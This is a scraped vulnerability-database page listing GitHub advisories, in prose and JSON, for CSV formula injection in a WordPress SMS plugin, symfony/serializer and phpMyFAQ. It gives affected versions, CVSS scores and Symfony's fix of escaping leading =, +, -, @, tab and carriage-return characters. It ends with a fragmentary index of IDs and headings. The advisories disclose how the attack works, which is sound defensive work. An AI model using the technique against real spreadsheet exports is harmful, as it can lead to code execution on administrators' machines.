    "cwe_ids": [
      "CWE-1236",
      "CWE-138"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-09-06T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "The Ultimate SMS Notifications for WooCommerce plugin for WordPress is vulnerable to CSV Injection in versions up to, and including, 1.4.1 via the \u0027Export Utility\u0027 functionality. This makes it possible for authenticated attackers, such as a subscriber, to add untrusted input into billing information like their First Name that will embed into the exported CSV file triggered by an administrator and can result in code execution when these files are downloaded and opened on a local system with a vulnerable configuration.",
  "id": "GHSA-2wmm-f268-hrpm",
  "modified": "2022-09-14T00:00:51Z",
  "published": "2022-09-07T00:01:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-2429"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/ultimate-sms-notifications/trunk/README.txt?rev=2441845#L92"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/vulnerability-advisories/#CVE-2022-2429"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2XHG-W2G5-W95X

Vulnerability from github – Published: 2021-11-24 21:01 – Updated: 2024-02-05 11:14

Summary

CSV Injection in symfony/serializer

Details

Description

CSV Injection, also known as Formula Injection, occurs when websites embed untrusted input inside CSV files. When a spreadsheet program opens a CSV, any cell starting with = is interpreted by the software as a formula and could be abused by an attacker.

In Symfony 4.1, we've added the opt-in csv_escape_formulas option in CsvEncoder, to prefix all cells starting by =, +, - or @ by a tab \t.

Since then, OWASP added 2 chars in that list: - Tab (0x09) - Carriage return (0x0D)

This makes our previous prefix char (Tab \t) part of the vulnerable characters, and OWASP suggests using the single quote ' for prefixing the value.

Resolution

Symfony now follows the OWASP recommendations and use the single quote ' to prefix formulas and adds the prefix to cells starting by \t, \r as well as =, +, - and @.

The patch for this issue is available here for branch 4.4.

Credits

We would like to thank Jake Barwell for reporting the issue and Jérémy Derussé for fixing the issue.

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/serializer"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.3.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/serializer"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.1.0"
            },
            {
              "fixed": "4.4.35"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/symfony"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.1.0"
            },
            {
              "fixed": "4.4.35"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/symfony"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.3.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-41270"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1236"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-11-24T20:04:02Z",
    "nvd_published_at": "2021-11-24T19:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Description\n-----------\n\nCSV Injection, also known as Formula Injection, occurs when websites embed untrusted input inside CSV files. When a spreadsheet program opens a CSV, any cell starting with `=` is interpreted by the software as a formula and could be abused by an attacker.\n\nIn Symfony 4.1, we\u0027ve added the opt-in `csv_escape_formulas` option in `CsvEncoder`, to prefix all cells starting by  `=`, `+`, `-` or `@` by a tab `\\t`. \n\nSince then, OWASP added 2 chars in that list: \n- Tab (0x09)\n- Carriage return (0x0D)\n\nThis makes our previous prefix char (Tab `\\t`) part of the vulnerable characters, and [OWASP suggests](https://owasp.org/www-community/attacks/CSV_Injection) using the single quote `\u0027` for prefixing the value.\n\nResolution\n----------\n\nSymfony now follows the OWASP recommendations and use the single quote `\u0027` to prefix formulas and adds the prefix to cells starting by `\\t`, `\\r` as well as `=`, `+`, `-` and `@`.\n\nThe patch for this issue is available [here](https://github.com/symfony/symfony/commit/3da6f2d45e7536ccb2a26f52fbaf340917e208a8) for branch 4.4.\n\nCredits\n-------\n\nWe would like to thank Jake Barwell for reporting the issue and J\u00e9r\u00e9my Deruss\u00e9 for fixing the issue.\n",
  "id": "GHSA-2xhg-w2g5-w95x",
  "modified": "2024-02-05T11:14:05Z",
  "published": "2021-11-24T21:01:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/symfony/symfony/security/advisories/GHSA-2xhg-w2g5-w95x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-41270"
    },
    {
      "type": "WEB",
      "url": "https://github.com/symfony/symfony/pull/44243"
    },
    {
      "type": "WEB",
      "url": "https://github.com/symfony/symfony/commit/3da6f2d45e7536ccb2a26f52fbaf340917e208a8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/serializer/CVE-2021-41270.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/symfony/CVE-2021-41270.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/symfony/symfony"
    },
    {
      "type": "WEB",
      "url": "https://github.com/symfony/symfony/releases/tag/v5.3.12"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/3BPT4SF6SIXFMZARDWED5T32J7JEH3EP"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/QSREFD2TJT5LWKM6S4MD3W26NQQ5WJUP"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/3BPT4SF6SIXFMZARDWED5T32J7JEH3EP"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/QSREFD2TJT5LWKM6S4MD3W26NQQ5WJUP"
    },
    {
      "type": "WEB",
      "url": "https://symfony.com/cve-2021-41270"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "CSV Injection in symfony/serializer"
}

GHSA-2XVX-368H-QCMV

Vulnerability from github – Published: 2023-07-31 03:30 – Updated: 2023-07-31 22:02

Summary

phpMyFAQ Improper Neutralization of Formula Elements in a CSV File vulnerability

Details

Improper Neutralization of Formula Elements in a CSV File in GitHub repository thorsten/phpmyfaq prior to 3.1.16.

Severity

8.8 (High)


                  
                    CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "thorsten/phpmyfaq"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-4006"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1236"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-07-31T22:02:15Z",
    "nvd_published_at": "2023-07-31T01:15:09Z",
    "severity": "HIGH"
  },
  "details": "Improper Neutralization of Formula Elements in a CSV File in GitHub repository thorsten/phpmyfaq prior to 3.1.16.",
  "id": "GHSA-2xvx-368h-qcmv",
  "modified": "2023-07-31T22:02:15Z",
  "published": "2023-07-31T03:30:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-4006"
    },
    {
      "type": "WEB",
      "url": "https://github.com/thorsten/phpmyfaq/commit/03946eca488724251eaed8d9d36fed92e6d8fd22"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/thorsten/phpmyfaq"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/36149a42-cbd5-445e-a371-e351c899b189"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "phpMyFAQ Improper Neutralization of Formula Elements in a CSV File vulnerability"
}

CWE-1236

Improper Neutralization of Formula Elements in a CSV File

GHSA-2C28-WPP9-3FWQ

GHSA-2CPR-RR2W-79G2

GHSA-2H4W-P9FH-9RMV

GHSA-2P5X-4JR6-X5JG

Summary

Details

the export does not neutralise leading meta-characters

the upstream sanitiser only scrubs HTML, not formulas

the export controller hands the payload back to whoever triggers it

default permission model exposes the data ingestion

PoC

Impact

Recommended Fix

GHSA-2QCJ-X6G8-5F33

GHSA-2RVJ-5MF3-JPWF

GHSA-2VRW-PCJQ-FV9H

GHSA-2WMM-F268-HRPM

GHSA-2XHG-W2G5-W95X

Description

Resolution

Credits

GHSA-2XVX-368H-QCMV

Mitigation

Mitigation

Mitigation